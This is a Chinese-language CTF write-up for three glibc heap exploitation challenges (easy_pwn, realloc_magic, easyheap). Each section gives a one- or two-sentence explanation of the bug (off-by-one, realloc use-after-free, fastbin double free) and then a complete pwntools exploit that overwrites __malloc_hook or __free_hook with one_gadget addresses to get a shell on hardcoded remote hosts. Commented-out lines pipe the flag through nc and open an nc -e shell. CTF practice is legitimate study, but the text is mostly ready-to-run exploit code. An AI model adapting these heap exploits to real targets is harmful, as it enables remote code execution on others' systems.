0x01

easy_pwn

程序中故意写了个off-by-one。由于程序使用的是calloc需要注意一下申请是会清空chunk的内容。exp如下：

#coding:utf-8

from pwn import *
import argparse

glibc = 'raw'  # glibc_version
IP = '39.97.182.233' # wait input
PORT = '42253' # wait input
binary = './easy_pwn'
context.binary = binary # wait input
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.terminal = ['tmux','split','-h']
elf = ELF(binary)

io = None
### parse args
parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

### easy program
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

one_gg_223 = [0x3f3d6,0x3f42a,0xd5bf7]
one_gg_227 = [0x4f2c5,0x4f322,0x10a38c]

if args.remote:
    io = remote(IP, PORT)
    if glibc == '2.23':
        libc = ELF("/root/glibc_env/glibc-2.23-binary/libc.so")
    else:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    if glibc == '2.23':
        io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", binary ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"})
        libc_bb = io.libs()['/root/glibc_env/glibc-2.23-binary/libc.so']
        libc = ELF('/root/glibc_env/glibc-2.23-binary/libc.so')
    else:
        io = process(binary,  env = env)
        libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
else:
    parser.print_help()
    exit()

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

def debug(bdmsg = ''):
    # bdmsg += 'directory /root/glibc_env/glibc-2.23-source/malloc'
    gdb.attach(io,bdmsg)

def magic(offset):
    global __malloc_hook,system,libc_base,__free_hook
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('libc_base',libc_base)
    __free_hook = libc_base + libc.symbols['__free_hook']
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    lg('__malloc_hook',__malloc_hook)
    system = libc_base + libc.symbols['system']

def add(sz):
    sla(":","1")
    sla(":",str(sz))

def edit(idx,sz,con):
    sla(":","2")
    sla(":",str(idx))
    sla(":",str(sz))
    sa(":",con)

def free(idx):
    sla(":","3")
    sla(":",str(idx))

def show(idx):
    sla(":","4")
    sla(":",str(idx))


def exploit():
    add(0x88)
    add(0x40)
    add(0x40)
    add(0x30)

    edit(0,0x88 + 0xa,'a' * 0x88 + chr(0xa1))
    free(1)
    add(0x40)
    show(2)
    magic(0x3c4b78)
    add(0x40)

    add(0x38) # 5
    add(0x38) # 6
    add(0x68) # 7
    add(0x38) # 8
    free(7)
    edit(5,0x38 + 0xa,'a' * 0x38 + chr(0xb1))
    free(6)
    add(0xa1) # 6
    edit(6,0x48,'a' * 0x30 + p64(0x0) + p64(0x71) + p64(__malloc_hook - 0x23))
    add(0x60)    
    add(0x60) # 9
    realloc_hook = libc_base + libc.symbols['realloc']
    lg('onegg',one_gg_223[1] + libc_base)
    edit(9,0x18 + 3 , '\x00' * (0x3 + 0x8) + p64(0x4526a + libc_base) + p64(realloc_hook + 0x0))
    # edit(5, 0x18+3, 'aaa'+p64(0)+p64(libc_base+0xf1147)+p64(realloc+4))
    sl("1")
    sleep(0.3)
    sl("123")


    io.interactive()
if __name__ == "__main__":
    exploit()#
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

realloc_magic

该题考点是realloc的特性，分配0 size的时候会返回0x0。存在uaf。参考这篇文章。exp如下。

#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = '39.97.182.233'
PORT = '38664'
binary = './realloc'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x,timeout = 0.2)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    # libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

libc_base,__malloc_hook,system = None,None,None

def magic(offset):
    global libc_base,__malloc_hook,system,__free_hook
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('base',libc_base)
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    __free_hook = libc_base + libc.symbols['__free_hook']
    system = libc_base + libc.symbols['system']


def debug(msg=""):
    pwnlib.gdb.attach(io,msg)

def add(sz,con):
    sla(">>","1")
    io.sendlineafter("Size?",str(sz))
    sa("?",con)

def free():
    sla(">>","2")

def magic_():
    sla(">>","666")

def exploit():
    # add(0x80,'a')
    # free()
    # free()
    # add(0x80,p64(0xdeadbeef))
    # magic_()
    # add(0x80,'a')
    # magic_()
    # add(0x80,'123')


    # add(0x90,p64(0xdeadbeef))
    # add(0x0,'')
    # add(0x80,'')


    add(0x70,'a')
    add(0x0,'')
    add(0x100,'a')
    add(0x0,'')
    add(0xe0,'a')
    add(0x0,'')
    add(0x100,'a')

    [free() for i in range(7)]
    add(0x0,'')
    add(0x70,'a')

    # debug()
    add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57')
    # debug()

    add(0x0,'')

    add(0x100,'a')
    add(0x0,'')

    add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak
    magic(0x3ed8b0)
    magic_()

    add(0x70,'a')
    add(0x0,'')
    add(0x110,'a')
    add(0x0,'')
    add(0xf0,'a')
    add(0x0,'')
    add(0x110,'a')

    [free() for i in range(7)]
    add(0x0,'')
    add(0x70,'a')

    # debug()
    add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8))


    add(0x0,'')

    add(0x110,'a')
    add(0x0,'')
    lg('__free_hook',__free_hook)

    one_gg = libc_base + 0x4f322
    add(0x110,p64(one_gg)) # leak
    sl("2")

    success(" get shell ")
    # debug()





    # add(0x180,chr(0) * 0x78 + p64(0x111) + p64(__free_hook))
    # add(0x0,'')
    # add(0x30,'a')
    # add(0x0,'')

    # one_gg = libc_base + 0x4f322
    # add(0x30,p64(one_gg))


    io.interactive()


if __name__ == "__main__":
    while(True):
        io = remote(IP, PORT)
        try:
            exploit()
            io.close()
        except Exception as e:
            continue
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

easyheap

程序中存在uaf漏洞，不过只有一个用来存在ptr。然后发现有个build_free，build申请0xa0的size。free也存在uaf。这样其实就想到fastbin double free。先申请一个0xa0大小的chunk。释放会进入unsorted bin。然后用外面的申请两个0x68,两个存放ptr的都指向了0x68的size大小的chunk。然后申请到bss段。用name伪造size。exp如下：

#coding:utf-8
#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = 'localhost'
PORT = '2333'
binary = './pwn'

context.binary = './pwn'
io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

def debug(msg=""):
    pwnlib.gdb.attach(io,msg)
    raw_input()


def add(sz,con):
    sla(">>","1")
    sla("size",str(sz))
    sa("content",con)

def free():
    sla(">>","2")

def build(con):
    sla(">>","666")
    sla("?","1")
    sa("content",con)

def _free():
    sla(">>","666")
    sla("?","2")

def debug(msg=''):
    gdb.attach(io,msg)

def exploit():
    sla("name",flat(0x0,0x71,0x602060))  # fake size
    sla("info",flat(0x0,0x21))

    build("aaa")
    add(0x18,'bbb')
    _free()

    add(0x68,'ccc')
    add(0x68,'ccc')
    free()
    _free()
    free()

    add(0x68,p64(0x602060))
    add(0x68,'ddd')
    add(0x68,'eee')
    add(0x60,p64(0x602060) + 'a' * 0x10 + p64(elf.got['__libc_start_main']) + p64(0xDEADBEEFDEADBEEF))


    io.sendlineafter(">>","3") # show
    main = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    base = main - libc.symbols['__libc_start_main']
    lg('base',base)
    __malloc_hook = base + libc.symbols['__malloc_hook']

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    io.sendline(p64(__malloc_hook - 0x23))

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    io.sendline('junk')
    time.sleep(0.3)

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    onegg = base + 0xf1147
    io.sendline('a' * 11 + p64(onegg) + p64(base + libc.symbols['realloc'] + 20))

    sleep(0.3)
    io.sendline("1")
    sleep(0.3)
    io.sendline("123")
    sleep(0.3)

    # io.send("cat flag | nc localhost 2333")
    # io.send("nc -e localhost 2333")
    # io.send("sh flag;")
    # io.send("cat flag >&0")
    # io.send("exec 1>&0; cat flag")
    # http://m4x.fun/post/play-with-file-descriptor-3/

    # debug("b *__realloc_hook")
    io.interactive()

if __name__ == "__main__":
    exploit()
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

[公告][征集寄语] 看雪20周年年会 | 感恩有你，一路同行